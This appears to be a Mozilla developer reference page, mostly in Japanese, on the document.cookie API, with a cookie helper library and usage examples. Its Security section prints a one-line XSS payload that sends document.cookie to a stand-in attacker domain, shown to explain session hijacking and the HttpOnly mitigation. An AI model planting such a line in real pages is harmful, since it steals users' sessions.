mozilla
Your Search Results

    document.cookie

    概要

    現在の文書に関連する、クッキーの読み書きを行います。

    構文

    allCookies = document.cookie;

    allCookies は、セミコロンで区切られた、クッキーのリストです。 (i.e. key=value のペア)

    document.cookie = updatedCookie;

    updatedCookie は、key=value の形式の文字列です。この方法を使用して一度に設定・更新できるクッキーは、一つだけです。

    • オプションとして次に挙げる値を設定することができます。keyとvalueのペアの後にセミコロンで区切って設定することで、クッキーを設定・更新することができます。
      • ;path=パス (e.g., '/', '/mydir') 明記しなければ、現在の文書のパスがデフォルトとして設定されます。
      • ;domain=ドメイン (e.g., 'example.com', '.example.com' (すべてのサブドメインを含みます), 'subdomain.example.com') 明記しなければ、現在の文書のホスト名がデフォルトとして設定されます。
      • ;max-age=寿命(秒数) (e.g., 1年であれば、60*60*24*365)
      • ;expires=GMTString 形式の日付 明記しなければ、セッションが終わった時点でクッキーが無効となります。
      • ;secure https通信を使用しているときだけ、クッキーが送信されます。
    • クッキーの値に、コンマ、セミコロン、ホワイトスペースを使用することはできません。ですので、これらが含まれないことを保証するために、値に対して、 encodeURIComponent() を使用するようにしましょう。

    Gecko 6.0 note
    (Firefox 6.0 / Thunderbird 6.0 / SeaMonkey 2.3)

    Gecko 6.0 (Firefox 6.0 / Thunderbird 6.0 / SeaMonkey 2.3) 以前では、パスをクオテーションで囲った場合、本来であればクオテーションは区切り文字として扱われるべきですが、パスの一部と扱われてしまいます。この問題は現在では修正されています。

    Examples

    Example 1: Simple usage

    document.cookie = "name=oeschger";
    document.cookie = "favorite_food=tripe";
    alert(document.cookie);
    // displays: name=oeschger;favorite_food=tripe
    

    A little framework: a complete cookies reader/writer with full unicode support

     /*\
     |*|
     |*|  :: cookies.js ::
     |*|
     |*|  A complete cookies reader/writer framework with full unicode support.
     |*|
     |*|  https://developer.mozilla.org/en-US/docs/DOM/document.cookie
     |*|
     |*|  Syntaxes:
     |*|
     |*|  * docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
     |*|  * docCookies.getItem(name)
     |*|  * docCookies.removeItem(name[, path])
     |*|  * docCookies.hasItem(name)
     |*|  * docCookies.keys()
     |*|
     \*/
    
    var docCookies = {
      getItem: function (sKey) {
        if (!sKey || !this.hasItem(sKey)) { return null; }
        return unescape(document.cookie.replace(new RegExp("(?:^|.*;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*((?:[^;](?!;))*[^;]?).*"), "$1"));
      },
      setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) {
        if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { return; }
        var sExpires = "";
        if (vEnd) {
          switch (vEnd.constructor) {
            case Number:
              sExpires = vEnd === Infinity ? "; expires=Tue, 19 Jan 2038 03:14:07 GMT" : "; max-age=" + vEnd;
              break;
            case String:
              sExpires = "; expires=" + vEnd;
              break;
            case Date:
              sExpires = "; expires=" + vEnd.toGMTString();
              break;
          }
        }
        document.cookie = escape(sKey) + "=" + escape(sValue) + sExpires + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "") + (bSecure ? "; secure" : "");
      },
      removeItem: function (sKey, sPath) {
        if (!sKey || !this.hasItem(sKey)) { return; }
        document.cookie = escape(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT" + (sPath ? "; path=" + sPath : "");
      },
      hasItem: function (sKey) {
        return (new RegExp("(?:^|;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);
      },
      keys: /* optional method: you can safely remove it! */ function () {
        var aKeys = document.cookie.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "").split(/\s*(?:\=[^;]*)?;\s*/);
        for (var nIdx = 0; nIdx < aKeys.length; nIdx++) { aKeys[nIdx] = unescape(aKeys[nIdx]); }
        return aKeys;
      }
    };
    

    クッキーの書き込み

    構文
    docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
    説明

    クッキーの書き込み、または、上書きを行います。

    パラメータ
    name
    書き込み、または、上書きを行うクッキーの名前 (String)
    value
    クッキーの値 (String)
    end (optional)
    秒数で表した最大期間 (e.g. 1年であれば31536e3) または、GMT形式やDateオブジェクト形式で表した有効期限。明記しなければ、セッションが終了するまでが有効期間となります。(Number - finite or Infinity, String, Date object or null)
    path (optional)
    e.g., "/", "/mydir"; 明記しなければ、現在の文書のパスがデフォルトとして設定されます。(String or null)
    domain (optional)
    e.g., "example.com", ".example.com" (全てのサブドメインが含まれます) or "subdomain.example.com"; 明記しなければ、現在の文書のホストが設定されます。(String or null)
    secure (optional)
    https通信のときのみ、クッキーが送信されます。(Boolean or null)

    クッキーの読み込み

    構文
    docCookies.getItem(name)
    説明

    クッキーの読み込みを行います。存在しない時は、nullが帰ります。

    パラメータ
    name
    読み込むクッキーの名前。(String)

    クッキーの削除

    構文
    docCookies.removeItem(name[, path])
    説明

    クッキーの削除を行います

    パラメータ
    name
    削除するクッキーの名前。(String)
    path (optional)
    e.g., "/", "/mydir"; 明記しなければ、現在の文書のパスがデフォルトとして設定されます。(String or null)

    クッキーのテスト

    構文
    docCookies.hasItem(name)
    説明

    クッキーが存在するかどうかのテストを行う

    パラメータ
    name
    テストを行うクッキーの名前。(String)

    全てのクッキーのリストの取得

    構文
    docCookies.keys()
    説明

    この文書から読み込み可能なすべてのクッキーの配列を返します。

    使用例:

    docCookies.setItem("test0", "Hello world!");
    docCookies.setItem("test1", "Unicode test: \u00E0\u00E8\u00EC\u00F2\u00F9", Infinity);
    docCookies.setItem("test2", "Hello world!", new Date(2020, 5, 12));
    docCookies.setItem("test3", "Hello world!", new Date(2027, 2, 3), "/blog");
    docCookies.setItem("test4", "Hello world!", "Sun, 06 Nov 2022 21:43:15 GMT");
    docCookies.setItem("test5", "Hello world!", "Tue, 06 Dec 2022 13:11:07 GMT", "/home");
    docCookies.setItem("test6", "Hello world!", 150);
    docCookies.setItem("test7", "Hello world!", 245, "/content");
    docCookies.setItem("test8", "Hello world!", null, null, "example.com");
    docCookies.setItem("test9", "Hello world!", null, null, null, true);
    
    alert(docCookies.keys().join("\n"));
    alert(docCookies.getItem("test1"));
    alert(docCookies.getItem("test5"));
    docCookies.removeItem("test1");
    docCookies.removeItem("test5", "/home");
    alert(docCookies.getItem("test1"));
    alert(docCookies.getItem("test5"));

    Security

    It is important to note that the path restriction does not protect against unauthorized reading of the cookie from a different path. It can easily be bypassed with simple DOM (for example by creating a hidden iframe element with the path of the cookie, then accessing this iframe's contentDocument.cookie property). The only way to protect cookie access is by using a different domain or subdomain, due to the same origin policy.

    Cookies are often used in web application to identify a user and their authenticated session. So stealing cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies is by using Social Engineering or by exploiting an XSS vulnerability in the application - 

    (new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

    You may like to check out HTTP Cookies which will help to reduce this kind of issue by preventing access to cookie value through Javascript. Read more about Cookies and Security.

    Notes

    • Starting with Firefox 2, a better mechanism for client-side storage is available - WHATWG DOM Storage.
    • You can delete a cookie by simply updating its expiration time to zero.
    • Keep in mind that the more you have cookies the more data will be transferred between the server and the client for each request. This will make each request slower. It is highly recommended for you to use WHATWG DOM Storage if you are going to keep "client-only" data.

    Specification

    DOM Level 2: HTMLDocument.cookie

    See also

    ドキュメントのタグと貢献者

    Contributors to this page: xxxx7, jsx, fscholz
    最終更新者: jsx,
    サイドバーを隠す